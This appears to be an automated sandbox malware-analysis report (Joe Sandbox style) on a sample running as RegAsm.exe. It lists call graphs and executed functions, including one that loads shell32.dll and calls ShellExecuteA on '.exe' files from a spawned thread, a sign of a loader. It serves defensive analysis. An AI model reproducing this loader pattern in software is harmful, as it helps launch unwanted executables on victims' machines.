__ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18862 40d2d5 18861->18862 18862->18769 18865 41607a _Fputc 43 API calls 18864->18865 18864->18866 18865->18864 18866->18861 18868 40d85c 18867->18868 18869 40d7f2 18867->18869 18868->18800 18870 414bd2 _Ungetc 41 API calls 18869->18870 18871 40d7f9 18870->18871 18871->18868 18872 40e072 __Wcrtomb 14 API calls 18871->18872 18873 40d851 18872->18873 18874 40df74 ___std_exception_copy 41 API calls 18873->18874 18874->18868 18876 40d78b std::_Locinfo::_Locinfo_ctor 41 API calls 18875->18876 18877 40bf31 18876->18877 18878 40bf46 18877->18878 18881 40bf79 18877->18881 18884 40bf61 std::_Locinfo::_Locinfo_ctor 18877->18884 18879 40def7 _Fputc 41 API calls 18878->18879 18879->18884 18880 40c010 18882 40d6cc 41 API calls 18880->18882 18881->18880 18883 40d6cc 41 API calls 18881->18883 18882->18884 18883->18880 18884->18803 18886 40c45a 18885->18886 18905 40c2dd 18904->18905 18906 40c326 18905->18906 18907 40c2ff 18905->18907 18922 40c446 42 API calls 18921->18922 18926 41608f 18924->18926 18935 40ed41 18934->18935 18936 40ed68 18934->18936 18935->18936 18936->18781 18942 404002 18941->18942 19011 404700 18942->19011 18944 40405c 18946 404b20 72 API calls 18944->18946 18950 404062 std::ios_base::_Ios_base_dtor 18944->18950 18946->18950 18947 404256 18948 401fff 18947->18948 19026 404a90 18947->19026 18951 404b20 18948->18951 19016 401f00 18950->19016 19134 405474 18951->19134 18954 405474 std::_Lockit::_Lockit 7 API calls 18956 404b6e 18954->18956 18955 404bb1 19140 4054cc 18955->19140 18958 4054cc std::_Lockit::~_Lockit 2 API calls 18956->18958 18960 404b92 18958->18960 18959 404bbd 18961 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18959->18961 18960->18955 18962 40742e std::_Facet_Register 16 API calls 18960->18962 18963 402020 18961->18963 18964 404c03 18962->18964 18994 404890 18963->18994 18965 405474 std::_Lockit::_Lockit 7 API calls 18964->18965 18966 404c2f 18965->18966 18967 404d98 18966->18967 18968 404c79 18966->18968 19185 40561e 18967->19185 19147 4058aa 18968->19147 18995 404700 43 API calls 18994->18995 18996 4048ce 18995->18996 18997 401f00 std::ios_base::_Init 43 API calls 18996->18997 19013 40471c 19011->19013 19012 404730 19012->18944 19013->19012 19014 404780 43 API calls 19013->19014 19015 40474f 19014->19015 19015->18944 19017 401f1a 19016->19017 19017->18947 19018 408090 CallUnexpected RaiseException 19017->19018 19019 401f32 std::ios_base::_Init 19017->19019 19018->19019 19030 401e50 19019->19030 19027 404af3 19026->19027 19028 404ace 19026->19028 19027->18948 19028->19027 19131 404a00 19028->19131 19031 401e90 19030->19031 19031->19031 19032 404390 std::ios_base::_Init 43 API calls 19031->19032 19033 401ea6 19032->19033 19055 4013b0 19033->19055 19036 401eb7 19056 4013f3 19055->19056 19057 401641 19056->19057 19058 401408 19056->19058 19108 4012d0 19057->19108 19064 401415 codecvt 19058->19064 19079 404a40 19058->19079 19060 401646 19061 40df84 std::ios_base::_Init 41 API calls 19060->19061 19063 40164b 19061->19063 19066 40df84 std::ios_base::_Init 41 API calls 19063->19066 19065 401490 19064->19065 19093 404560 19064->19093 19071 404560 std::ios_base::_Init 43 API calls 19065->19071 19072 40150a codecvt 19065->19072 19067 401650 19066->19067 19113 40804e 19067->19113 19071->19072 19072->19060 19073 401580 error_info_injector 19072->19073 19074 407feb ___std_exception_copy 42 API calls 19073->19074 19075 4015dc 19074->19075 19075->19063 19076 40160d error_info_injector 19075->19076 19077 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 19076->19077 19078 40163b 19077->19078 19078->19036 19080 404a4b 19079->19080 19081 404a6d 19079->19081 19082 404a82 19080->19082 19083 404a52 19080->19083 19084 404a7d 19081->19084 19086 40742e std::_Facet_Register 16 API calls 19081->19086 19117 401250 19082->19117 19085 40742e std::_Facet_Register 16 API calls 19083->19085 19084->19064 19088 404a58 19085->19088 19089 404a77 19086->19089 19090 404a61 19088->19090 19091 40df84 std::ios_base::_Init 41 API calls 19088->19091 19089->19064 19090->19064 19092 404a8c 19091->19092 19094 4046b0 19093->19094 19095 404587 19093->19095 19096 4012d0 std::ios_base::_Init 43 API calls 19094->19096 19099 4045f6 19095->19099 19100 4045e9 19095->19100 19102 4045a0 19095->19102 19097 4046b5 19096->19097 19098 401250 std::ios_base::_Init 43 API calls 19097->19098 19106 4045b0 codecvt 19098->19106 19104 40742e std::_Facet_Register 16 API calls 19099->19104 19099->19106 19100->19097 19100->19102 19101 40742e std::_Facet_Register 16 API calls 19101->19106 19102->19101 19103 40df84 std::ios_base::_Init 41 API calls 19105 4046bf 19103->19105 19104->19106 19106->19103 19107 404669 error_info_injector codecvt 19106->19107 19107->19065 19123 4055de 19108->19123 19114 408062 19113->19114 19115 40805b 19113->19115 19118 40125b std::_Facet_Register 19117->19118 19119 408090 CallUnexpected RaiseException 19118->19119 19120 40126a 19119->19120 19121 407feb ___std_exception_copy 42 API calls 19120->19121 19122 401291 19121->19122 19122->19088 19128 40551e 19123->19128 19126 408090 CallUnexpected RaiseException 19127 4055fd 19126->19127 19129 401150 std::invalid_argument::invalid_argument 42 API calls 19128->19129 19130 405530 19129->19130 19130->19126 19132 401f00 std::ios_base::_Init 43 API calls 19131->19132 19133 404a1f 19132->19133 19133->19027 19135 405483 19134->19135 19136 40548a 19134->19136 19190 40e125 19135->19190 19139 404b51 19136->19139 19195 406f3c EnterCriticalSection 19136->19195 19139->18954 19139->18960 19141 40e133 19140->19141 19142 4054d6 19140->19142 19245 40e10e LeaveCriticalSection 19141->19245 19143 4054e9 19142->19143 19244 406f4a LeaveCriticalSection 19142->19244 19143->18959 19146 40e13a 19146->18959 19246 40e3e0 19147->19246 19390 405592 19185->19390 19196 414874 19190->19196 19195->19139 19197 4141e3 std::_Lockit::_Lockit 5 API calls 19196->19197 19198 414879 19197->19198 19217 4141fd 19198->19217 19218 4143cc std::_Lockit::_Lockit 5 API calls 19217->19218 19219 414213 19218->19219 19220 414217 19219->19220 19221 4143cc std::_Lockit::_Lockit 5 API calls 19220->19221 19222 41422d 19221->19222 19223 414231 19222->19223 19224 4143cc std::_Lockit::_Lockit 5 API calls 19223->19224 19225 414247 19224->19225 19244->19143 19245->19146 19247 414874 std::_Lockit::_Lockit 5 API calls 19246->19247 19248 40e3ed 19247->19248 19257 40e18b 19248->19257 19258 40e197 __FrameHandler3::FrameUnwindToState 19257->19258 19393 401150 19390->19393 19394 407feb ___std_exception_copy 42 API calls 19393->19394 19395 401188 19394->19395 19396 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 19395->19396 19605 41337b 19604->19605 19606 41338d ___scrt_uninitialize_crt 19604->19606 19607 413389 19605->19607 19609 40edf6 19605->19609 19606->18167 19607->18167 19612 40ec83 19609->19612 19615 40eb77 19612->19615 19616 40eb83 __FrameHandler3::FrameUnwindToState 19615->19616 19623 40e0c6 EnterCriticalSection 19616->19623 19618 40ebf9 19632 40ec17 19618->19632 19621 40eb8d ___scrt_uninitialize_crt 19621->19618 19624 40eaeb 19621->19624 19623->19621 19625 40eaf7 __FrameHandler3::FrameUnwindToState 19624->19625 19635 40bb65 EnterCriticalSection 19625->19635 19627 40eb01 ___scrt_uninitialize_crt 19628 40eb3a 19627->19628 19636 40ed91 19627->19636 19649 40eb6b 19628->19649 19681 40e10e LeaveCriticalSection 19632->19681 19634 40ec05 19634->19607 19635->19627 19637 40eda6 _Fputc 19636->19637 19638 40edb8 19637->19638 19639 40edad 19637->19639 19641 40ed28 ___scrt_uninitialize_crt 66 API calls 19638->19641 19640 40ec83 ___scrt_uninitialize_crt 70 API calls 19639->19640 19642 40edb3 19640->19642 19643 40edc2 19641->19643 19644 40bbd5 _Fputc 41 API calls 19642->19644 19643->19642 19645 414bd2 _Ungetc 41 API calls 19643->19645 19646 40edf0 19644->19646 19647 40edd9 19645->19647 19646->19628 19652 418203 19647->19652 19680 40bb79 LeaveCriticalSection 19649->19680 19651 40eb59 19651->19621 19653 418214 19652->19653 19655 418221 19652->19655 19654 40e072 __Wcrtomb 14 API calls 19653->19654 19662 418219 19654->19662 19656 41826a 19655->19656 19658 418248 19655->19658 19657 40e072 __Wcrtomb 14 API calls 19656->19657 19659 41826f 19657->19659 19663 418161 19658->19663 19661 40df74 ___std_exception_copy 41 API calls 19659->19661 19661->19662 19662->19642 19664 41816d __FrameHandler3::FrameUnwindToState 19663->19664 19676 41c9b3 EnterCriticalSection 19664->19676 19666 41817c 19668 41cc2f __wsopen_s 41 API calls 19666->19668 19674 4181c1 19666->19674 19667 40e072 __Wcrtomb 14 API calls 19670 4181c8 19667->19670 19669 4181a8 FlushFileBuffers 19668->19669 19669->19670 19671 4181b4 GetLastError 19669->19671 19677 4181f7 19670->19677 19673 40e05f __dosmaperr 14 API calls 19671->19673 19673->19674 19674->19667 19676->19666 19680->19651 19681->19634 20915 4170a5 20916 414bd2 _Ungetc 41 API calls 20915->20916 20918 4170b2 20916->20918 20917 4170be 20918->20917 20919 41710c 20918->20919 20927 417345 20918->20927 20919->20917 20920 41716e 20919->20920 20922 41639d 41 API calls 20919->20922 20935 417271 20920->20935 20924 417161 20922->20924 20924->20920 20926 418105 _Ungetc 14 API calls 20924->20926 20926->20920 20928 41735b 20927->20928 20929 41735f 20927->20929 20928->20919 20930 41cc2f __wsopen_s 41 API calls 20929->20930 20934 4173ae 20929->20934 20931 417380 20930->20931 20932 417388 SetFilePointerEx 20931->20932 20931->20934 20933 41739f GetFileSizeEx 20932->20933 20932->20934 20933->20934 20934->20919 20936 414bd2 _Ungetc 41 API calls 20935->20936 20937 417280 20936->20937 20938 417293 20937->20938 20939 417329 20937->20939 20941 4172b4 20938->20941 20944 4172da 20938->20944 20940 416ca7 __wsopen_s 66 API calls 20939->20940 20942 41717f 20940->20942 20943 416ca7 __wsopen_s 66 API calls 20941->20943 20943->20942 20944->20942 20946 418a55 20944->20946 20947 418a69 _Fputc 20946->20947 20952 4188ac 20947->20952 20950 40bbd5 _Fputc 41 API calls 20951 418a8d 20950->20951 20951->20942 20953 4188b8 __FrameHandler3::FrameUnwindToState 20952->20953 20954 418996 20953->20954 20956 418914 20953->20956 20962 4188c0 20953->20962 20955 40def7 _Fputc 41 API calls 20954->20955 20955->20962 20963 41c9b3 EnterCriticalSection 20956->20963 20958 41891a 20959 41893f 20958->20959 20960 4189d2 __wsopen_s 43 API calls 20958->20960 20964 41898e 20959->20964 20960->20959 20962->20950 20963->20958 20967 41ca68 LeaveCriticalSection 20964->20967 20966 418994 20966->20962 20967->20966 22196 40efa7 22197 40efb2 22196->22197 22198 40efc7 22196->22198 22201 40e072 __Wcrtomb 14 API calls 22197->22201 22199 40efe4 22198->22199 22200 40efcf 22198->22200 22210 41886b 22199->22210 22202 40e072 __Wcrtomb 14 API calls 22200->22202 22204 40efb7 22201->22204 22206 40efd4 22202->22206 22205 40df74 ___std_exception_copy 41 API calls 22204->22205 22208 40efc2 22205->22208 22209 40df74 ___std_exception_copy 41 API calls 22206->22209 22207 40efdf 22209->22207 22211 41887f _Fputc 22210->22211 22216 418280 22211->22216 22214 40bbd5 _Fputc 41 API calls 22215 418899 22214->22215 22215->22207 22217 41828c __FrameHandler3::FrameUnwindToState 22216->22217 22218 418293 22217->22218 22219 4182b6 22217->22219 22220 40def7 _Fputc 41 API calls 22218->22220 22227 40bb65 EnterCriticalSection 22219->22227 22222 4182ac 22220->22222 22222->22214 22223 4182c4 22228 41830f 22223->22228 22225 4182d3 22241 418305 22225->22241 22227->22223 22229 418346 22228->22229 22230 41831e 22228->22230 22232 414bd2 _Ungetc 41 API calls 22229->22232 22231 40def7 _Fputc 41 API calls 22230->22231 22233 418339 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 22231->22233 22234 41834f 22232->22234 22233->22225 22244 418a95 22234->22244 22236 418410 22236->22233 22259 4184b0 22236->22259 22238 4183f9 22247 41866f 22238->22247 22266 40bb79 LeaveCriticalSection 22241->22266 22243 41830d 22243->22222 22245 4188ac 45 API calls 22244->22245 22246 41836d 22245->22246 22246->22233 22246->22236 22246->22238 22248 41867e __wsopen_s 22247->22248 22249 414bd2 _Ungetc 41 API calls 22248->22249 22251 41869a __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 22249->22251 22250 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 22252 418818 22250->22252 22253 418a95 45 API calls 22251->22253 22258 4186a6 22251->22258 22252->22233 22254 4186fa 22253->22254 22255 41872c ReadFile 22254->22255 22254->22258 22256 418753 22255->22256 22255->22258 22257 418a95 45 API calls 22256->22257 22257->22258 22258->22250 22260 414bd2 _Ungetc 41 API calls 22259->22260 22261 4184c3 22260->22261 22262 418a95 45 API calls 22261->22262 22264 41850b __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 22261->22264 22263 41855e 22262->22263 22263->22264 22265 418a95 45 API calls 22263->22265 22264->22233 22265->22264 22266->22243

                                                              Executed Functions

                                                              Function 0041FEAF Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 0041FB65: CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82
                                                              • GetLastError.KERNEL32 ref: 0041FFC3
                                                              • __dosmaperr.LIBCMT ref: 0041FFCA
                                                              • GetFileType.KERNELBASE(00000000), ref: 0041FFD6
                                                              • GetLastError.KERNEL32 ref: 0041FFE0
                                                              • __dosmaperr.LIBCMT ref: 0041FFE9
                                                              • CloseHandle.KERNEL32(00000000), ref: 00420009
                                                              • CloseHandle.KERNEL32(?), ref: 00420156
                                                              • GetLastError.KERNEL32 ref: 00420188
                                                              • __dosmaperr.LIBCMT ref: 0042018F
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                              • String ID:
                                                              • API String ID: 4237864984-0
                                                              • Opcode ID: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
                                                              • Instruction ID: c043dc6610800097a8c7d9f7805d75e01504a092e95ab29a96a2aa982ce353c5
                                                              • Opcode Fuzzy Hash: 87ef763bbd003f1d2de960a3db6ca709dde3cd444b7d1b6f895e6fd8deb0075d
                                                              • Instruction Fuzzy Hash: FCA14732A041559FCF19DF28EC91BAE3BA1AB46314F18016EF801EB3D2C7398957D759
                                                              Function 004038C0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 401libraryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 69 4038c0-40398c call 40742e call 40745e LoadLibraryW call 402320 call 401fd0 * 2 81 403990-403995 69->81 81->81 82 403997-4039e0 call 404390 call 403730 call 4042a0 81->82 90 4039e2 82->90 91 4039e4-403abf call 4084c0 82->91 90->91 97 403ac1-403acc 91->97 98 403aec-403af3 91->98 101 403ae2-403ae9 call 40745e 97->101 102 403ace-403adc 97->102 99 403b22-403b3e 98->99 100 403af5-403b02 98->100 105 403b40-403b4d 99->105 106 403b6d-403bd4 call 40ba2a call 40dcfa call 40bd99 99->106 103 403b04-403b12 100->103 104 403b18-403b1f call 40745e 100->104 101->98 102->101 103->104 104->99 109 403b63-403b6a call 40745e 105->109 110 403b4f-403b5d 105->110 121 403bd7-403bdc 106->121 109->106 110->109 121->121 122 403bde-403c24 call 404390 call 403730 call 4042a0 121->122 130 403c26 122->130 131 403c28-403cef call 4084c0 122->131 130->131 137 403cf1-403cfc 131->137 138 403d1c-403d23 131->138 139 403d12-403d19 call 40745e 137->139 140 403cfe-403d0c 137->140 141 403d52-403d6e 138->141 142 403d25-403d32 138->142 139->138 140->139 146 403d70-403d7d 141->146 147 403d9d-403e38 call 40ba2a call 40dcfa call 40bd99 call 402320 ShellExecuteA * 2 141->147 144 403d34-403d42 142->144 145 403d48-403d4f call 40745e 142->145 144->145 145->141 151 403d93-403d9a call 40745e 146->151 152 403d7f-403d8d 146->152 163 403e67-403e8c 147->163 164 403e3a-403e47 147->164 151->147 152->151 165 403eba-403ecd call 407420 163->165 166 403e8e-403e9e 163->166 167 403e49-403e57 164->167 168 403e5d-403e64 call 40745e 164->168 169 403eb0-403eb7 call 40745e 166->169 170 403ea0-403eae 166->170 167->168 168->163 169->165 170->169
                                                              APIs
                                                              • LoadLibraryW.KERNEL32(shell32.dll), ref: 0040390A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: LibraryLoad
                                                              • String ID: .exe$open$shell32.dll
                                                              • API String ID: 1029625771-3690275032
                                                              • Opcode ID: e12f6d86cbbafdbf2950bc7eaf484d993c6e32b2c2fc6925c187abc7a8655bd3
                                                              • Instruction ID: 45d6f532c3b7b92683a27c6d5ed46cb691480bce94ed093f44206b4adea3c42d
                                                              • Opcode Fuzzy Hash: e12f6d86cbbafdbf2950bc7eaf484d993c6e32b2c2fc6925c187abc7a8655bd3
                                                              • Instruction Fuzzy Hash: 30E13A312083408BE718CF28C845B6FBBE5BF85305F24462DF489AB2D2D779E6458B5A
                                                              Function 00411432 Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(?,?,0041142C,00000016,0040BD98,?,?,89E1CD17,0040BD98,?), ref: 00411443
                                                              • TerminateProcess.KERNEL32(00000000,?,0041142C,00000016,0040BD98,?,?,89E1CD17,0040BD98,?), ref: 0041144A
                                                              • ExitProcess.KERNEL32 ref: 0041145C
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: Process$CurrentExitTerminate
                                                              • String ID:
                                                              • API String ID: 1703294689-0
                                                              • Opcode ID: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
                                                              • Instruction ID: 3fe6f93935658f8ab67006e652a10cd0383134051074610e396dae59c432ecd7
                                                              • Opcode Fuzzy Hash: fdc9db31659cbe28c415a8b0888f718e5b65b0592ff8268f2e9698ce38014a47
                                                              • Instruction Fuzzy Hash: 5DD09E31100148ABCF117F61EC0DA993F2AAF407557858025FA0A56131CB369993AA58
                                                              Function 00416DAF Relevance: 3.2, APIs: 2, Instructions: 191fileCOMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 295 416daf-416dce 296 416dd4-416dd6 295->296 297 416fa8 295->297 298 416e02-416e28 296->298 299 416dd8-416df7 call 40def7 296->299 300 416faa-416fae 297->300 302 416e2a-416e2c 298->302 303 416e2e-416e34 298->303 306 416dfa-416dfd 299->306 302->303 305 416e36-416e40 302->305 303->299 303->305 307 416e50-416e5b call 4168fc 305->307 308 416e42-416e4d call 418af3 305->308 306->300 313 416e9d-416eaf 307->313 314 416e5d-416e62 307->314 308->307 317 416eb1-416eb7 313->317 318 416f00-416f20 WriteFile 313->318 315 416e64-416e68 314->315 316 416e87-416e9b call 4164c2 314->316 319 416f70-416f82 315->319 320 416e6e-416e7d call 416894 315->320 337 416e80-416e82 316->337 324 416eb9-416ebc 317->324 325 416eee-416efe call 41697a 317->325 322 416f22-416f28 GetLastError 318->322 323 416f2b 318->323 326 416f84-416f8a 319->326 327 416f8c-416f9e 319->327 320->337 322->323 331 416f2e-416f39 323->331 332 416edc-416eec call 416b3e 324->332 333 416ebe-416ec1 324->333 342 416ed7-416eda 325->342 326->297 326->327 327->306 338 416fa3-416fa6 331->338 339 416f3b-416f40 331->339 332->342 333->319 340 416ec7-416ed2 call 416a55 333->340 337->331 338->300 343 416f42-416f47 339->343 344 416f6e 339->344 340->342 342->337 346 416f60-416f69 call 40e03b 343->346 347 416f49-416f5b 343->347 344->319 346->306 347->306
                                                              APIs
                                                                • Part of subcall function 004164C2: GetConsoleOutputCP.KERNEL32(89E1CD17,00000000,00000000,0040BDB8), ref: 00416525
                                                              • WriteFile.KERNELBASE(FFBF5BE8,00000000,?,0040BC75,00000000,00000000,00000000,00000000,?,?,0040BC75,?,?,004328B8,00000010,0040BDB8), ref: 00416F18
                                                              • GetLastError.KERNEL32(?,0040BC75,?,?,004328B8,00000010,0040BDB8,?,?,00000000,?), ref: 00416F22
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ConsoleErrorFileLastOutputWrite
                                                              • String ID:
                                                              • API String ID: 2915228174-0
                                                              • Opcode ID: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
                                                              • Instruction ID: cb585fdb2482b244a4d3bef91fab55670e651a1c55327e645a67e42ff2a15e13
                                                              • Opcode Fuzzy Hash: f464ed671a76038d08897ffb1fb948258ea98ac2c0acb72c9529f46f39d22c7a
                                                              • Instruction Fuzzy Hash: 4461D775D04249AFDF10CFA8C844AEF7FB9AF09308F16415AF804A7252D379D986CB69
                                                              Function 00414D5D Relevance: 3.1, APIs: 2, Instructions: 63COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 350 414d5d-414d71 call 41cc2f 353 414d73-414d75 350->353 354 414d77-414d7f 350->354 355 414dc5-414de5 call 41cb9e 353->355 356 414d81-414d88 354->356 357 414d8a-414d8d 354->357 367 414df7 355->367 368 414de7-414df5 call 40e03b 355->368 356->357 359 414d95-414da9 call 41cc2f * 2 356->359 360 414dab-414dbb call 41cc2f FindCloseChangeNotification 357->360 361 414d8f-414d93 357->361 359->353 359->360 360->353 371 414dbd-414dc3 GetLastError 360->371 361->359 361->360 369 414df9-414dfc 367->369 368->369 371->355
                                                              APIs
                                                              • FindCloseChangeNotification.KERNELBASE(00000000,00000000,CF830579,?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DB3
                                                              • GetLastError.KERNEL32(?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DBD
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: ChangeCloseErrorFindLastNotification
                                                              • String ID:
                                                              • API String ID: 1687624791-0
                                                              • Opcode ID: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
                                                              • Instruction ID: ceb111eb948f9657ebdeceefd9bfba8073a9b29251fc9eed98a790ab6a2c0bec
                                                              • Opcode Fuzzy Hash: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
                                                              • Instruction Fuzzy Hash: 06114C336041241ADB246635BC867FE6749CBC1738F290A5FF808C72C1DE388CC2929C
                                                              Function 00403EE0 Relevance: 3.0, APIs: 2, Instructions: 22synchronizationthreadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 375 403ee0-403f1d CreateThread WaitForSingleObject call 407420 377 403f22-403f25 375->377
                                                              APIs
                                                              • CreateThread.KERNELBASE(00000000,00000000,004038C0,00000000,00000000,89E1CD17), ref: 00403F06
                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403F0F
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: CreateObjectSingleThreadWait
                                                              • String ID:
                                                              • API String ID: 1891408510-0
                                                              • Opcode ID: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
                                                              • Instruction ID: 9ada69c4f7ca39928594594d106047c4e65b58e1a3541a0c5f1fc3d2bb6a9bfa
                                                              • Opcode Fuzzy Hash: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
                                                              • Instruction Fuzzy Hash: 10E08675758300BBD710EF24EC07F1A3BE4BB48B05F914A39F295A62D0D674B404965E
                                                              Function 004143CC Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 406 4143cc-4143f4 407 4143f6-4143f8 406->407 408 4143fa-4143fc 406->408 409 41444b-41444e 407->409 410 414402-414412 call 414301 408->410 411 4143fe-414400 408->411 414 414431-414448 410->414 415 414414-414422 GetProcAddress 410->415 411->409 416 41444a 414->416 415->414 417 414424-41442f call 410bb3 415->417 416->409 417->416
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
                                                              • Instruction ID: d7b25293e7db54f96000769fea1aeb7630fb582f3d7d0c2fc2c622193e8995c8
                                                              • Opcode Fuzzy Hash: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
                                                              • Instruction Fuzzy Hash: 620128373002255F9F25CF6EEC40ADB33A6FBC07243148136FA20CB684DA34D8829799
                                                              Function 00413EF2 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 420 413ef2-413f18 call 413cc8 423 413f71-413f74 420->423 424 413f1a-413f2c call 41fe8c 420->424 426 413f31-413f36 424->426 426->423 427 413f38-413f70 426->427
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: __wsopen_s
                                                              • String ID:
                                                              • API String ID: 3347428461-0
                                                              • Opcode ID: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
                                                              • Instruction ID: be02312cd07e58b193bdeee16c95f5fde802225de20a5ed1c7ae4422ede983e8
                                                              • Opcode Fuzzy Hash: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
                                                              • Instruction Fuzzy Hash: 46110375A0420AAFCB05DF58E9419DB7BF9EF48304F04406AF809AB351D630EA15CBA8
                                                              Function 00414094 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 428 414094-41409f 429 4140a1-4140ab 428->429 430 4140ad-4140b3 428->430 429->430 431 4140e1-4140ec call 40e072 429->431 432 4140b5-4140b6 430->432 433 4140cc-4140dd RtlAllocateHeap 430->433 438 4140ee-4140f0 431->438 432->433 434 4140b8-4140bf call 412e4d 433->434 435 4140df 433->435 434->431 441 4140c1-4140ca call 412e98 434->441 435->438 441->431 441->433
                                                              APIs
                                                              • RtlAllocateHeap.NTDLL(00000008,0000000C,?,?,004152D9,00000001,00000364,?,00000006,000000FF,?,?,0040E077,00415469), ref: 004140D5
                                                              Memory Dump Source
                                                              • Source File: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd
                                                              Yara matches
                                                              Similarity
                                                              • API ID: AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1279760036-0
                                                              • Opcode ID: 14b8f9ac75b8980b6812ff089cde42dce8ba1f12a125e940596199f5ca44a4d3
                                                              • Instruction ID: 7a371578952800d697783e4f14dfa84f7cfeb60b6085e341501622e7ba028638
